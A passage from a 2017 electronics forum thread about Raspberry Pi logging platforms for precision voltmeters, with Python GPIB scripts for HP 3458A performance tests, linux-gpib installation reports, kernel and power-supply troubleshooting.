   ##     print("10V Gain DCV = %.9f ")%DCV10Gain
   ##     with open(LogFile_ACAL, 'a') as ACALLog:
   ##       ACALLog.write (time.strftime("%d/%m/%Y-%H:%M:%S,") + ("%.9f,%.2f\r\n" % (float(DCV10Gain),float(Temperature) ) ))
   ##       ACALLog.close()
   
    inst.write("trig sgl")
    time.sleep(10)
    standard10DCV = float(inst.read())
    ppm = ((standard10DCV / reflevel)-1)*1E6
    ##print(time.strftime("%d/%m/%Y\t%H:%M:%S") + ("\t%d x ACAL\t%.8f\t%.3f ppm\t%.1f C") % (ACAL_Counter, float(data),float(ppm),float(Temperature) ) )
    print(time.strftime("%d/%m/%Y\t%H:%M:%S") + ("\t%.10f\t%.3f ppm") % (float(data),float(ppm)) )
    MeterLog.write("I'm Getting ") + (time.strftime("%d/%m/%Y-%H:%M:%S,") + ("%.8f,%.1f,%.3f\r\n" % (float(data),float(Temperature),float(ppm) ) ))
    MeterLog.close()
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: dr.diesel on January 07, 2017, 07:58:49 am

I commented out the ACAL portion because with that part in there, I couldn't even get any measurements to take place.


Probably cause ACAL is secured, change this line:

inst.write("ACAL DCV")

to:

inst.write("ACAL DCV, 3458")

Give that a try.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: CalMachine on January 07, 2017, 08:45:17 am

I commented out the ACAL portion because with that part in there, I couldn't even get any measurements to take place.


Probably cause ACAL is secured, change this line:

inst.write("ACAL DCV")

to:

inst.write("ACAL DCV, 3458")

Give that a try.

ACAL is currently unsecured.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on January 07, 2017, 12:43:26 pm
Try with TARM HOLD.
Also what is the purpose of inst.write("RES 0.00000001") ? It's invalid setting.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: CalMachine on January 07, 2017, 01:44:53 pm
Try with TARM HOLD.
Also what is the purpose of inst.write("RES 0.00000001") ? It's invalid setting.

When measuring ACV with ACV Sync, the 'res' command was the only way I could find to get 7.5 digits of resolution on the display in 100 mV range.  It was weird... ndig wouldn't work for some reason.
I guess I just carried that command over to other functions to get the most resolution I could.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on January 07, 2017, 01:56:21 pm
For ACV you might want use TRIG SYN and TARM SYN. Suggest to take a look on UM for those commands, as well as RES ;).
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: CalMachine on January 08, 2017, 07:30:46 am
For ACV you might want use TRIG SYN and TARM SYN. Suggest to take a look on UM for those commands, as well as RES ;).

Here is a snippet from the performance verification procedure.  I'm not sure the command is even necessary in my particular situation.  I just saw that they tell you to use the command on ACV, I'm not really sure why I carried it over to DC.  I will take it out  :-+

"5. Configure the transfer standard DMM as follows:
-- ACV
-- SETACV SYNC
-- ACBAND 10,2E6
-- RANGE10
-- RES .001
-- TRIG SGL
-- LFILTER ON

6. Configure the DMM under test as follows:
-- ACV
-- SETACV ANA
-- ACBAND 10,2E6
-- RANGE10
-- RES .01
-- TRIG SGL
-- LFILTER ON"


Is there anyway I can see what is going on with the script and what command it is using, in real time?
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: CalMachine on January 09, 2017, 12:26:49 pm
Finally got my script working the way I want it to :D    This script is for testing the nominal DCV performance of a 3458A using a Datron 4808.  It's been awhile since I really got to program anything, so I really enjoyed this a lot!  I will be doing many more scripts to automate tests in the near future.  I've provided a copy of the script below, please critique it and let me know what I can do better  :-+


Code: [Select]
# Python script for running DCV Performance Verification of a 3458A utilizing a Datron 4808 MFC (LES687)
import os.path
import sys
import Gpib
import time

# Constants (3458A Ranges)
DCV_Ranges = 5
ACV_Ranges = 6
DCI_Ranges = 8
ACI_Ranges = 5
OHMF_Ranges = 9
numberOfMeasurements = 25

# variables
measurementCounter = 0
DCVCounter = 0
rangeCounter = 0
currentMeasurement = 0
runningTotal = 0
measurementAvg = 0
ppm = 0


# 4808 DCV Reference Values
dcv_100uV_FullRange = 99.899869e-6
dcv_1mV_FullRange = 0.99999469e-3
dcv_10mV_FullRange = 9.9999889e-3
dcv_100mV_FullRange = 99.998759e-3
dcv_1V_FullRange = 0.99999699
dcv_10V_FullRange = 9.9999909
dcv_100V_FullRange = 99.999749
dcv_1000V_FullRange = 999.99969

# 3458A GPIB Address = 22
inst_3458A = Gpib.Gpib(0,22, timeout=30)

# 4808 GPIB Address = 20
inst_4808 = Gpib.Gpib(0,20, timeout=30)

# log file path and name
LogDir = '/pub/logs/'
LogFile= LogDir + '3458A_DCV_Performance.csv'


# Setup the 3458A to begin testing
inst_3458A.write("PRESET NORM")                     # commands the 3458a to preset state
inst_3458A.write("OFORMAT ASCII")
inst_3458A.write("NPLC 100")                        # commands the 3458a to 100 number power line cycles
inst_3458A.write("NDIG 8")                          # commands the 3458a to display 8.5 digits of resolution
inst_3458A.write("TARM HOLD")
inst_3458A.write("TRIG AUTO")
inst_3458A.write("AZERO ON")
inst_3458A.write("NRDGS 1,AUTO")
inst_3458A.write("MEM OFF")
inst_3458A.write("END ALWAYS")
inst_3458A.write("DELAY 0")
inst_3458A.write("LFILTER ON")

# Setup the 4808 to begin testing
inst_4808.write("o0=")                               # commands the 4808 to output OFF
inst_4808.write("h100=")                             # commands the 4808 to a frequency of 100 if necessary
inst_4808.write("m0=")                               # commands the 4808 to an output value of 0
inst_4808.write("f0=")                               # commands the 4808 to DCV function
inst_4808.write("r1=")                               # commands the 4808 to the 100 uV range


# Check file presence, write header
if (os.path.isfile(LogFile) == False):
  with open(LogFile, 'a') as MeterLog:
    MeterLog.write("3458A DCV Full Range Test\r\n")
    MeterLog.close()


# While loop to step through each DCV Range
while rangeCounter < DCV_Ranges:
    inst_3458A.write("DCV")                                         # commands the 3458A to DCV Function
    time.sleep(5)
    inst_4808.write("F0=")                                          # commands the 4808 to DCV Function
    time.sleep(5)

    # 100 mV range
    if rangeCounter == 0:
        measurementCounter = 0                                      # sets measurement counter to 0
        rangeCounter += 1                                           # increments the range counter
        inst_3458A.write("range 100e-3")                            # commands the 3458A to 100 mV range
        inst_4808.write("R4=")                                      # commands the 4808 to 100 mV Range
        inst_4808.write("M100e-3=")                                 # commands the 4808 to a value of 100 mV
        inst_4808.write("O1=")                                      # commands the 4808 output state ON
        time.sleep(5)
        inst_3458A.write("TARM SGL,1")
        time.sleep(15)
       
        # While loop to step through 25 measurements to get an average
        while measurementCounter < numberOfMeasurements:
            inst_3458A.write("TARM SGL,1")                                      # commands the 3458A to trigger a measurement
            data = inst_3458A.read()
            currentMeasurement = float(data)                                    # Reads the measurement via GPIB and stores the value into currentMeasurement
            runningTotal += currentMeasurement                                  # Adds measurement to running total
            measurementCounter += 1                                             # increments the measurement counter
            time.sleep(5)

        inst_4808.write("O0=")                                              # commands the 4808 output state OFF
        measurementAvg = runningTotal/numberOfMeasurements                  # calculates the average of the 25 measurements
        ppm = ((measurementAvg / dcv_100mV_FullRange)-1)*1E6                # calculates the ppm deviation from input

        # Opens LogFile and writes a row of data
        with open(LogFile, 'a') as MeterLog:
            MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 100 mV Range   : Nominal = %.10f Volts" %dcv_100mV_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))
            MeterLog.close()
            measurementAvg = 0
            runningTotal = 0
            ppm = 0


    # 1 V range
    elif rangeCounter == 1:
        measurementCounter = 0                                      # sets measurement counter to 0
        rangeCounter += 1                                           # increments the range counter
        inst_3458A.write("range 1")                                 # commands the 3458A to 1 V range
        inst_4808.write("R5=")                                      # commands the 4808 to 1 V Range
        inst_4808.write("M1=")                                      # commands the 4808 to a value of 1 V
        inst_4808.write("O1=")                                      # commands the 4808 output state ON
        time.sleep(5)
        inst_3458A.write("TARM SGL,1")
        time.sleep(15)
       
        # While loop to step through 25 measurements to get an average
        while measurementCounter < numberOfMeasurements:
            inst_3458A.write("TARM SGL,1")                                      # commands the 3458A to trigger a measurement
            data = inst_3458A.read()
            currentMeasurement = float(data)                                    # Reads the measurement via GPIB and stores the value into currentMeasurement
            runningTotal += currentMeasurement                                  # Adds measurement to running total
            measurementCounter += 1                                             # increments the measurement counter
            time.sleep(5)

        inst_4808.write("O0=")                                              # commands the 4808 output state OFF
        measurementAvg = runningTotal/numberOfMeasurements                  # calculates the average of the 25 measurements
        ppm = ((measurementAvg / dcv_1V_FullRange)-1)*1E6                   # calculates the ppm deviation from input

        # Opens LogFile and writes a row of data
        with open(LogFile, 'a') as MeterLog:
            MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 1 V Range    : Nominal = %.10f Volts" %dcv_1V_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))
            MeterLog.close()
            measurementAvg = 0
            runningTotal = 0
            ppm = 0


    # 10 V range
    elif rangeCounter == 2:
        measurementCounter = 0                                      # sets measurement counter to 0
        rangeCounter += 1                                           # increments the range counter
        inst_3458A.write("range 10")                                # commands the 3458A to 10 V range
        inst_4808.write("R6=")                                      # commands the 4808 to 10 V Range
        inst_4808.write("M10=")                                     # commands the 4808 to a value of 10 V
        inst_4808.write("O1=")                                      # commands the 4808 output state ON
        time.sleep(5)
        inst_3458A.write("TARM SGL,1")
        time.sleep(20)
       
        # While loop to step through 25 measurements to get an average
        while measurementCounter < numberOfMeasurements:
            inst_3458A.write("TARM SGL,1")                                      # commands the 3458A to trigger a measurement
            data = inst_3458A.read()
            currentMeasurement = float(data)                                    # Reads the measurement via GPIB and stores the value into currentMeasurement
            runningTotal += currentMeasurement                                  # Adds measurement to running total
            measurementCounter += 1                                             # increments the measurement counter
            time.sleep(5)

        inst_4808.write("O0=")                                              # commands the 4808 output state OFF
        measurementAvg = runningTotal/numberOfMeasurements                  # calculates the average of the 25 measurements
        ppm = ((measurementAvg / dcv_10V_FullRange)-1)*1E6                  # calculates the ppm deviation from input

        # Opens LogFile and writes a row of data
        with open(LogFile, 'a') as MeterLog:
            MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 10 V Range   : Nominal = %.10f Volts" %dcv_10V_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))
            MeterLog.close()
            measurementAvg = 0
            runningTotal = 0
            ppm = 0


    # 100 V range
    elif rangeCounter == 3:
        measurementCounter = 0                                      # sets measurement counter to 0
        rangeCounter += 1                                           # increments the range counter
        inst_3458A.write("range 100")                               # commands the 3458A to 100 V range
        inst_4808.write("R7=")                                      # commands the 4808 to 100 V Range
        inst_4808.write("M100=")                                    # commands the 4808 to a value of 100 V
        inst_4808.write("O1=")                                      # commands the 4808 output state ON
        time.sleep(5)
        inst_3458A.write("TARM SGL,1")
        time.sleep(30)
       
        # While loop to step through 25 measurements to get an average
        while measurementCounter < numberOfMeasurements:
            inst_3458A.write("TARM SGL,1")                                      # commands the 3458A to trigger a measurement
            data = inst_3458A.read()
            currentMeasurement = float(data)                                    # Reads the measurement via GPIB and stores the value into currentMeasurement
            runningTotal += currentMeasurement                                  # Adds measurement to running total
            measurementCounter += 1                                             # increments the measurement counter
            time.sleep(5)

        inst_4808.write("O0=")                                              # commands the 4808 output state OFF
        measurementAvg = runningTotal/numberOfMeasurements                  # calculates the average of the 25 measurements
        ppm = ((measurementAvg / dcv_100V_FullRange)-1)*1E6                 # calculates the ppm deviation from input

        # Opens LogFile and writes a row of data
        with open(LogFile, 'a') as MeterLog:
            MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 100 V Range  : Nominal = %.10f Volts" %dcv_100V_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))
            MeterLog.close()
            measurementAvg = 0
            runningTotal = 0
            ppm = 0


    # 1000 V range
    elif rangeCounter == 4:
        measurementCounter = 0                                      # sets measurement counter to 0
        rangeCounter += 1                                           # increments the range counter
        inst_3458A.write("range 1000")                              # commands the 3458A to 1000 V range
        inst_4808.write("R8=")                                      # commands the 4808 to 1000 V Range
        inst_4808.write("M1000=")                                   # commands the 4808 to a value of 1000 V
        inst_4808.write("O1=")                                      # commands the 4808 output state ON
        time.sleep(10)
        inst_3458A.write("TARM SGL,1")
        time.sleep(30)
       
        # While loop to step through 25 measurements to get an average
        while measurementCounter < numberOfMeasurements:
            inst_3458A.write("TARM SGL,1")                                      # commands the 3458A to trigger a measurement
            data = inst_3458A.read()
            currentMeasurement = float(data)                                    # Reads the measurement via GPIB and stores the value into currentMeasurement
            runningTotal += currentMeasurement                                  # Adds measurement to running total
            measurementCounter += 1                                             # increments the measurement counter
            time.sleep(5)

        inst_4808.write("O0=")                                              # commands the 4808 output state OFF
        measurementAvg = runningTotal/numberOfMeasurements                  # calculates the average of the 25 measurements
        ppm = ((measurementAvg / dcv_1000V_FullRange)-1)*1E6                # calculates the ppm deviation from input

        # Opens LogFile and writes a row of data
        with open(LogFile, 'a') as MeterLog:
            MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 1000 V Range : Nominal = %.10f Volts" %dcv_1000V_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))
            MeterLog.close()
            measurementAvg = 0
            runningTotal = 0
            ppm = 0
           

# Opens LogFile and generates end of report statement
with open(LogFile, 'a') as MeterLog:
    MeterLog.write("End of Report! The time is : " + time.strftime("%d/%m/%Y-%H:%M:%S,\n"))
    MeterLog.close()
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on January 09, 2017, 09:16:39 pm
I'd add two more steps

1. To null zero offset with short before going thru reading.
2. To run ACAL on 3458A prior to any measurements.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TheSteve on January 12, 2017, 07:59:58 am
As requested by several members I have uploaded the image from my raspberry pi 1 model B to TiN's FTP server. There is nothing special about it, it is simply a 2016-05-27-raspbian-jessie-lite install after which I followed TiN's howto for the Agilent 82357B.
The login is the usual pi/raspberry
I have had it be a little picky when first booted a few times - the red LED will stay on on the GPIB adapter. When that has happened I have had to unplug the adapter and reconnect it to the pi at which point it works fine. I have never had it crash during data logging etc.
I believe forum member BFX is going to try it out, hopefully he can report how it functions for him.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on January 12, 2017, 09:09:01 am
Thanks Steve for image. This week I should receive RPi 1 B+ for test.
In meantime has been tested kernel 4.9, I cannot recommend it, rather stay with 4.4.38 or 4.4.35 used on LogNut image. With 4.9 it is almost impossible to log more than day. There is timeout on NI GPIB USB HS adapter.
But this kernel works OK with E5810.

Arduino GPIB adapter assembled and it seems to be similar to Prologix 6.0. Used Arduino Nano.
3D printed enclosure
http://www.thingiverse.com/thing:993349 (http://www.thingiverse.com/thing:993349)


Also started work on PID temperature controller program for easy tempco measurement. I select E3632A power supply with H bridge from Pololu and 15V/4A TEC module.
H bridge is used for changing polarity by PSU relay signal available on RS232 output ( internal jumpers needs to be placed ) it is possible to control over GPIB.
Current version of algorithm has few issue, so it needs some fine tuning.

During testing logging on GPIB and multiple RPI I realized that I needs more GPIB cables. So I made some DIY, It is more easy to work with them, when instruments has different GPIB connectors orientation.

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on January 12, 2017, 08:04:11 pm
As requested by several members I have uploaded the image from my raspberry pi 1 model B to TiN's FTP server. There is nothing special about it, it is simply a 2016-05-27-raspbian-jessie-lite install after which I followed TiN's howto for the Agilent 82357B.
The login is the usual pi/raspberry
I have had it be a little picky when first booted a few times - the red LED will stay on on the GPIB adapter. When that has happened I have had to unplug the adapter and reconnect it to the pi at which point it works fine. I have never had it crash during data logging etc.
I believe forum member BFX is going to try it out, hopefully he can report how it functions for him.

Image is 16GB and will probably not fit to majority of 16GB cards, For testing you needs +16GB SD card.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: dr.diesel on January 13, 2017, 06:28:17 am
In meantime has been tested kernel 4.9, I cannot recommend it, rather stay with 4.4.38 or 4.4.35 used on LogNut image. With 4.9 it is almost impossible to log more than day. There is timeout on NI GPIB USB HS adapter.

So this is a kernel issue and not linux-gpib?  Reverting a kernel patch might be an easy solution if we knew more.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on January 13, 2017, 08:29:02 am
During testing logging on GPIB and multiple RPI I realized that I needs more GPIB cables. So I made some DIY, It is more easy to work with them, when instruments has different GPIB connectors orientation.

Where did you get the GPIB connectors for ribbon , what did they cost ?

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on January 13, 2017, 08:38:42 am
Maybe we should switch to Odroid for the logging platform.

The C2 beats the Rpi3 by lengths in speed and has 2G ram & 1Gb ether throughput both ways, and the C1 is also a nice buy

C1
http://www.pollin.de/shop/dt/OTg1OTgxOTk-/Bauelemente_Bauteile/Entwicklerboards/Odroid/ODROID_C1_Einplatinen_Computer_1_5_GHz_QuadCore_4x_USB_1_GB.html (http://www.pollin.de/shop/dt/OTg1OTgxOTk-/Bauelemente_Bauteile/Entwicklerboards/Odroid/ODROID_C1_Einplatinen_Computer_1_5_GHz_QuadCore_4x_USB_1_GB.html)


C2
http://www.pollin.de/shop/dt/ODA1OTgxOTk-/Bauelemente_Bauteile/Entwicklerboards/Odroid/ODROID_C2_Einplatinen_Computer_1_5_GHz_QuadCore_2_GB_RAM_4x_USB.html (http://www.pollin.de/shop/dt/ODA1OTgxOTk-/Bauelemente_Bauteile/Entwicklerboards/Odroid/ODROID_C2_Einplatinen_Computer_1_5_GHz_QuadCore_2_GB_RAM_4x_USB.html)


I used to think that the sw support & new kernels for the Rpi platform was the strength of it, the USB-bound IO certainly isn't.
But now the bad kernel stuff seems to be the weakness.

The Odroid is super performing HW , beats a Rpi any day.
But they lag behind in kernelstuff, as AMLOGIC seems slow to port to the newer kernel 4


Well Rpi is prob the most widespread platform, but the Odroid C2 just kicks A..
It might also have the widest set of installable packages, though i have never missed a package on my Ordoids.


I have both C1 & C2 , and might see if i can test linux-gpib w. Agilent-USB-GPIB , in a few weeks.

I have the choice of Ubuntu (Official supported by Hardkernel) or Debian (Community supported) and usually my choice.

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Assafl on January 13, 2017, 10:26:44 am
As requested by several members I have uploaded the image from my raspberry pi 1 model B to TiN's FTP server. There is nothing special about it, it is simply a 2016-05-27-raspbian-jessie-lite install after which I followed TiN's howto for the Agilent 82357B.
The login is the usual pi/raspberry
I have had it be a little picky when first booted a few times - the red LED will stay on on the GPIB adapter. When that has happened I have had to unplug the adapter and reconnect it to the pi at which point it works fine. I have never had it crash during data logging etc.
I believe forum member BFX is going to try it out, hopefully he can report how it functions for him.

Tried on rpi2 - it won't boot. Stuck in the colorful box display.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on January 14, 2017, 12:32:39 am
Tried on rpi2 - it won't boot. Stuck in the colorful box display.

I'm quite sure the v1 and v2 are NOT kernel compatible.

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Assafl on January 15, 2017, 09:28:37 pm
Tried on rpi2 - it won't boot. Stuck in the colorful box display.

I'm quite sure the v1 and v2 are NOT kernel compatible.

/Bingo

Duh  :palm: Just reread TheSteve's post and saw it was v1...
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: z01z on January 15, 2017, 09:39:11 pm
While looking for python GPIB examples, I came across PyMeasure (https://pypi.python.org/pypi/PyMeasure/0.4.2).
It has a neat concept of having different classes for different equipments.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: BFX on January 16, 2017, 01:32:50 am
As requested by several members I have uploaded the image from my raspberry pi 1 model B to TiN's FTP server. There is nothing special about it, it is simply a 2016-05-27-raspbian-jessie-lite install after which I followed TiN's howto for the Agilent 82357B.
The login is the usual pi/raspberry
I have had it be a little picky when first booted a few times - the red LED will stay on on the GPIB adapter. When that has happened I have had to unplug the adapter and reconnect it to the pi at which point it works fine. I have never had it crash during data logging etc.
I believe forum member BFX is going to try it out, hopefully he can report how it functions for him.

I haven't good news :(
I used image on my RPi 1 (2011) it's starts OK, but on Agilent 82357B only lights up all 3 leds for a while and after that only red lights. After one second the same.
Unplug and plug adapter back didn't help. (I tried it more times also to different usb ports)
lsub doesn't show Agilent 82357B in the list.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on January 16, 2017, 01:35:32 am
Meow.

Quote
root@rpi3:/repo/linux-gpib/linux-gpib-code/linux-gpib# uname -a
Linux rpi3.xdevs.com 4.4.34-v7+ #930 SMP Wed Nov 23 15:20:41 GMT 2016 armv7l GNU/Linux

root@rpi3:/repo/linux-gpib/linux-gpib-code/linux-gpib# lsusb
Bus 001 Device 006: ID 0957:0718 Agilent Technologies, Inc.

enter maximum number of bytes to read [1024]:
trying to read 1024 bytes from device...
received string: 'KEITHLEY INSTRUMENTS INC.,MODEL 2001M,0579220,B17  /A01'
Number of bytes read: 58
gpib status is:
ibsta = 0x2100  < END CMPL >
iberr= 0

ibcnt = 58

Bingo600 hinted me that linux-gpib got updated to SVN R1654, which has fix in DMA buffers for Agilent 82357B's on linux kernels 4.x.x.
I hasted to try on plesa's Lognut image, but it didn't work.

So I reformatted SD card and wrote fresh Raspbian + Pixel from RPI site.
Installed usual things, couldn't get linux-gpib to install properly in first place (could not find modules), but after bit of poking with rpi-source (https://github.com/notro/rpi-source/blob/master/rpi-source) python script and few reboots I finally got linux-gpib to install and gpib_config to work.

(https://xdevs.com/doc/xDevs.com/linux_rpi.jpg)

 :-+ Credits to Dave Penkler and might of open-source software. Thanks!

BFX
Try beefier PSU. I had similar issues before with 4.9V PSU 500mA. After bumping power to 5.1V 1A - all good :)

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on January 16, 2017, 03:21:18 am
I haven't got time today, for testing the new linux-gpib release.

But i plan to test on a v1 @kernel 4.4.38 (latest raspbian foundation).
And on a v3 @kernel 4.4.0-1-rpi2 (latest raspbian.org) -
raspbian.org is my favorite and "Debian compliant kernel", w. "apt-get header support" 
I already have the raspbian.org kernel runing on a v3 wo. problems, just need to build & test the latest linux-gpib.

I even think we should switch to that one for the "platform"

/Bingo

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on January 16, 2017, 03:37:31 am
@TiN

My latest kernel on a v1 is 4.4.38+ , your's is a lower vers.
Could it be that you didn't apt-get dist-upgrade , and that might cause the header probs. you had ??

To swith to a raspbian.org kernel , just install the latest standard image , and do this.
https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1096058/#msg1096058 (https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1096058/#msg1096058)


/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TheSteve on January 16, 2017, 07:11:16 am
As requested by several members I have uploaded the image from my raspberry pi 1 model B to TiN's FTP server. There is nothing special about it, it is simply a 2016-05-27-raspbian-jessie-lite install after which I followed TiN's howto for the Agilent 82357B.
The login is the usual pi/raspberry
I have had it be a little picky when first booted a few times - the red LED will stay on on the GPIB adapter. When that has happened I have had to unplug the adapter and reconnect it to the pi at which point it works fine. I have never had it crash during data logging etc.
I believe forum member BFX is going to try it out, hopefully he can report how it functions for him.

I haven't good news :(
I used image on my RPi 1 (2011) it's starts OK, but on Agilent 82357B only lights up all 3 leds for a while and after that only red lights. After one second the same.
Unplug and plug adapter back didn't help. (I tried it more times also to different usb ports)
lsub doesn't show Agilent 82357B in the list.

As was already mentioned what is your power supply? I am using a high quality 5 volt supply rated for 1.5 amps(which it really can do) and it is connected to the internal headers, I am not using the micro usb jack.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: BFX on January 16, 2017, 09:44:40 am
As was already mentioned what is your power supply? I am using a high quality 5 volt supply rated for 1.5 amps(which it really can do) and it is connected to the internal headers, I am not using the micro usb jack.
I didn't measure this power supply but it's rated for 2.1A
https://www.hej.sk/nabijacka-do-siete-emos-usbee-home-d4/ (https://www.hej.sk/nabijacka-do-siete-emos-usbee-home-d4/)

Tomorrow I will try one of my big HP beast and we will see. :box:
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Assafl on January 16, 2017, 11:33:04 pm
Meow.

Quote
root@rpi3:/repo/linux-gpib/linux-gpib-code/linux-gpib# uname -a
Linux rpi3.xdevs.com 4.4.34-v7+ #930 SMP Wed Nov 23 15:20:41 GMT 2016 armv7l GNU/Linux

root@rpi3:/repo/linux-gpib/linux-gpib-code/linux-gpib# lsusb
Bus 001 Device 006: ID 0957:0718 Agilent Technologies, Inc.

enter maximum number of bytes to read [1024]:
trying to read 1024 bytes from device...
received string: 'KEITHLEY INSTRUMENTS INC.,MODEL 2001M,0579220,B17  /A01'
Number of bytes read: 58
gpib status is:
ibsta = 0x2100  < END CMPL >
iberr= 0

ibcnt = 58

Bingo600 hinted me that linux-gpib got updated to SVN R1654, which has fix in DMA buffers for Agilent 82357B's on linux kernels 4.x.x.
I hasted to try on plesa's Lognut image, but it didn't work.

So I reformatted SD card and wrote fresh Raspbian + Pixel from RPI site.
Installed usual things, couldn't get linux-gpib to install properly in first place (could not find modules), but after bit of poking with rpi-source (https://github.com/notro/rpi-source/blob/master/rpi-source) python script and few reboots I finally got linux-gpib to install and gpib_config to work.

(https://xdevs.com/doc/xDevs.com/linux_rpi.jpg)

 :-+ Credits to Dave Penkler and might of open-source software. Thanks!

BFX
Try beefier PSU. I had similar issues before with 4.9V PSU 500mA. After bumping power to 5.1V 1A - all good :)

Good News!

After a fussy linux festival 4.4.38-v7+ works with R1654 on RPi 3.

Note that (as per TiN's comment) I had to run rpi-source.py prior to running ./configure, make and make install.

I can now use ibtest to communicate with the 34401A without a problem. Time for some Python.

Thank you to TiN and Bingo and plesa and all involved in this project.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on January 17, 2017, 01:11:48 am
I have just tested linux-gpib (SVN) on a Raspi v3 running the raspbian.org kernel (Debian compliant)
Quote
raspi4:~ $ uname -a
Linux raspi4 4.4.0-1-rpi2 #1 SMP Debian 4.4.6-1+rpi14 (2016-05-05) armv7l GNU/Linux

And it was a success  :-+ :-+
Thank you for the support Dave Penkler - OpenSource is really showing it's worth.

Agilent GPIB Adapter:
Quote
raspi4:~ $ ./idn1.py
KEITHLEY INSTRUMENTS INC.,MODEL 2015,1043877,B15  /A02 


Beiming Adapter:
Quote
raspi4:~ $ ./idn1.py
KEITHLEY INSTRUMENTS INC.,MODEL 2015,1043877,B15  /A02 

The new udev "magic" for the The Agilent is doing all the init stuff including loading the firmware & running gpib_config.
I wasn't 100% sure if it ran the gpib_config for the Beiming too, as the Beiming identifies w. the final VID/PID on upstart, and doesn't need a firmware load.

So i ran gpib_config manually ,once for the Beiming.

Next to test on a Raspi v1

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on January 17, 2017, 01:58:10 am
Testing latest SVN on a Raspi v1

Running the latest "foundation kernel"

Quote
raspi3:~ $ uname -a
Linux raspi3 4.4.38+ #938 Thu Dec 15 15:17:54 GMT 2016 armv6l GNU/Linux

Success  :-+ :-+

Agilent :
Quote
raspi3:~ $ ./idn1.py
KEITHLEY INSTRUMENTS INC.,MODEL 2015,1043877,B15  /A02 
cfo@raspi3:~ $

Beiming:
Quote
raspi3:~ $ ./idn1.py
KEITHLEY INSTRUMENTS INC.,MODEL 2015,1043877,B15  /A02

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Assafl on January 19, 2017, 08:01:46 pm
I am using the scripts from the plesa's RPI Voltnut GitHub (awesome work!) and didn't want to cause too much wear on the SD card. So I added a rather obvious counter to the script.

The delayed write works by counting the number of measurements (up to variable sd_buffer) - and then closes the files to commit the measurements to SD. A console notice for the SD card commit is displayed so that one can stop logging after a write - otherwise I found I had to look at the time stamp of the log file and keep refreshing... especially if you hold on for long between commits to disk.

It looks like this:

(https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/?action=dlattach;attach=286078;image)
().

Setting up the interval and duration is done in the declarations above the code:
LogDir = '/pub/logs/'
LogFile = LogDir + 'BME280_Log.csv'
sd_buffer = 10 # How many measurements to commit to SD card (to limit writes)
interval = 2 # interval (seconds) between measurements


Of course a better approach would have been to hold off writing until the SD card can write an entire block, or a buffer fills up, etc.

Edit - added similar functionality to 34401A script (plus support for 1 or 2 BME280 sensors).

 
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: jrz126 on January 20, 2017, 02:16:29 am
So whats the procedure for getting a PI V3 up and running with a NI USB-GPIB?
I have one of these powersupplies:
(http://www.testequipmentdepot.com/usedequipment/images/66000a.jpg)
Only interface is through GPIB, or a $500 keyboard which i dont have. Looking to make my own controller for it through GPIB.

Been screwing with this for a couple weeks off and on.  |O

First followed the steps here: https://xdevs.com/guide/ni_gpib_rpi/ (https://xdevs.com/guide/ni_gpib_rpi/)
Got it to talk and whatnot, but I would get a segfault while trying to run ibtest. Figured it was because i was using a V3 Pi and not a V1.

Found this thread. Tried following the steps in reply 34. But I get this error when i try to install the linux-gpib.
root@raspberrypi:/opt/linux-gpib# sudo ./configure
checking for a BSD-compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking for a thread-safe mkdir -p... /bin/mkdir -p
checking for gawk... no
checking for mawk... mawk
checking whether make sets $(MAKE)... yes
